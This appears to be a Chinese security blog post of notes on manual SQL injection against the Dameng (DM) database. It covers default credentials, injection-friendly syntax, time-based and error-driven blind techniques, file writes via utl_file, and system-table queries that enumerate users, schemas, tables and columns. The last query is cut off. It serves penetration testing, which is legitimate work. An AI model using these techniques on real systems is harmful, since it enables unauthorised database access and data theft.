查看原文
其他

达梦数据库手工注入笔记

烽火台实验室 Beacon Tower Lab
2024-09-01


前言


随着信创产业的逐步普及,很多小伙伴在渗透实战时会越来越多的遇到国产化数据库,如达梦、人大金仓等。如果使用该类数据库的站点存在sql注入漏洞,用sqlmap等工具无法支持我们直接得到想要的数据,我们需要理解这些数据库的语法才能更好的进行手工注入。本文总结了一些达梦数据库的手工注入技巧,欢迎大家收藏转发。



0x01 默认用户


默认安装的达梦数据库存在下面两个用户,密码与用户名相同,注意大小写

SYSDBA/SYSDBA

SYSAUDITOR/SYSAUDITOR


0x02 端口服务


默认端口:5236

默认服务名:DmServiceDMSERVER

远程:达梦数据库默认支持远程连接,只要网络可达,就可以连接成功。并没有类似mysql的只允许localhost连接的特性。






0x03 基础信息获取语法


SQL语句

语法

效果

select user

语法

正确

返回当前用户,默认是SYSDBA

select user()

语法

正确

返回当前用户,默认是SYSDBA

select db_name()

语法

错误

不存在方法db_name()

select database()

语法

错误

不存在方法database()

select cur_database

语法

正确

返回当前库名,默认是DAMENG

select cur_database()

语法

正确

反回当前库名,默认是DAMENG



0x04 语法特性



SQL语句

语法

效果

select  1

语法

正确

select语句后面可以不跟表名

select  1 from dual

语法

正确

存在默认表dual

select  1 from dual -- a

语法

正确

支持--单行注释

select  1 from dual # a

语法

错误

不支持#单行注释

select  1/*aaa*/from dual

语法

正确

支持/**/多行注释

select  1 from dual where 1

语法

错误

条件表达式必须是bool值

select  if(1=2, exp(710), 1)

语法

错误

不能在if表达式中使用子表达式

select  exp(if(1=2, 710,1))

语法

正确

可以在exp表达式中使用子表达式

select  1 from dual where 1=2 union select user()

语法

错误

字符串转换错误,联合查询要求字段类型必须相同

select  '1' from dual where 1=2 union select user()

语法

正确

支持union select联合查询语法

waitfor  delay '0:0:5'

语法

错误

不支持waitfor语法

select  sleep(5)

语法

错误

select 和sleep使用语法错误

sleep(5)

语法

正确

延时5s

exec  sleep 5

语法

正确

延时5s

select  1 from dual where 1=user()

会报错

但是不会报错出错误详情,不能用于报错注入

select  1 from dual where 1=updatexml(1,user(),1)

语法

错误

没有updatexml函数

select  `ACCOUNT_ID` from OTHER.ACCOUNT

语法

错误

不能用反引号标识表名和字段名

select  "ACCOUNT_ID" from "OTHER"."ACCOUNT"

语法

正确

如果表名和字段名中有特殊符号,可以用双引号包裹表名和字段名,不能用反引号

select  1 from dual where 1=1 || 1=1

语法

错误

不能使用||代替or

select  1 from dual where 1=1 && 1=1

语法

正确

可以使用&&代替and

select  top 1 * from account

语法

正确

支持top语法

select  * from account limit 0,1

语法

正确

支持limit语法

select  1 into outfile 'D:/1.txt'

语法

错误

不支持outfile语法

select  * from other.depttab where dname=0x61

语法

正确

但是不支持把字符串转换为0x61这种16禁止字符串的功能

copy  (select DNAME from other.depttab) to 'D:/1.txt'

语法

错误

不支持copy语法

utl_file.put_line(utl_file.fopen('D:\dmdbms\data\DAMENG\test',  'test.php', 'A'), 'xxxxxx')

语法

正确

可以写入文件,但是只能写到DAMENG目录,比较鸡肋



0x05 函数特性


函数示例

返回值

substr('1234',2,1)

返回2,第二个参数从第几位开始取值,第三个参数代表截图多少位

substring('1234',2,1)

同substr函数

left('123456', 3)

返回123,第二个参数代表返回左边几位的字符

right('123456', 3)

返回456,第二个参数代表返回右边几位的字符

if(1=1,1,2)

返回1,条件判断,如果条件成立返回第二个参数值,如果条件不成立,返回第三个参数值

md5(1)

返回

0xC4CA4238A0B923820DCC509A6F75849B,返回对应MD5值,前面加了0x

if(1=ascii(substr('123456',2,1)),2, 1)

综合使用,盲注必备

exp(if(1=1,710,1))

exp(710)返回整数溢出错误,使用这种方式可以强制BOOL盲注


0x06 手工注入


>通过查询系统表来手工注入


1) 查询库名


SYS.SYSOBJECTS表中保存全部的库名信息,可以使用下面的方式查询到所有的库名和对应ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCH'


2) 查询表名


SYS.SYSOBJECTS表中同时保存全部的表名信息,可以使用下面的方式查询到所有的表名。其中SCHID来自步骤1)中获得的ID

select NAME,ID from SYS.SYSOBJECTS where TYPE$='SCHOBJ' and SUBTYPE$='UTAB' and SCHID=150995949


3) 查询列名


SYS.SYSCOLUMNS表中字段名称和字段类型,可以使用下面的方式查询所有的表对应的列名。其中ID为步骤2)中获取的ID

select NAME,TYPE$,DEFVAL from SYS.SYSCOLUMNS where ID=1078


>通过查询视图来手工注入


1) 查询用户


可以使用下面的方式查询全部的数据库的用户名

select USERNAME from SYS.ALL_USERS


2) 查询库名


可以使用下面的方式查询全部库名,其中OWNER代表的是步骤1)对应的数据库用户名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='SYSDBA' and OBJECT_TYPE='SCH'


3) 查询表名


可以使用下面的方式查询全部表名,这里的OWNER代表的是步骤2)对应的库名。

select OBJECT_NAME from SYS.ALL_OBJECTS where OWNER='OTHER' and OBJECT_TYPE='TABLE'


4) 查询列名


可以使用下面的方式返回指定条件对应的列名,其中SCHEMA_NAME代表库名,TABLE_NAME代表表名。

select OWNER,TABLE_NAME,SCHEMA_NAME,COLUMN_NAME from SYS.ALL_COL_COMMENTS where SCHEMA_NAME='OT



0x07 总结


达梦是一套优秀的国产化关系型数据库,目前在信创领域拥有大量的用户,其遵循SQL语言标准规范,从语法上来说和mysql和mssql都不太一样。


继续滑动看下一个
Beacon Tower Lab
向上滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存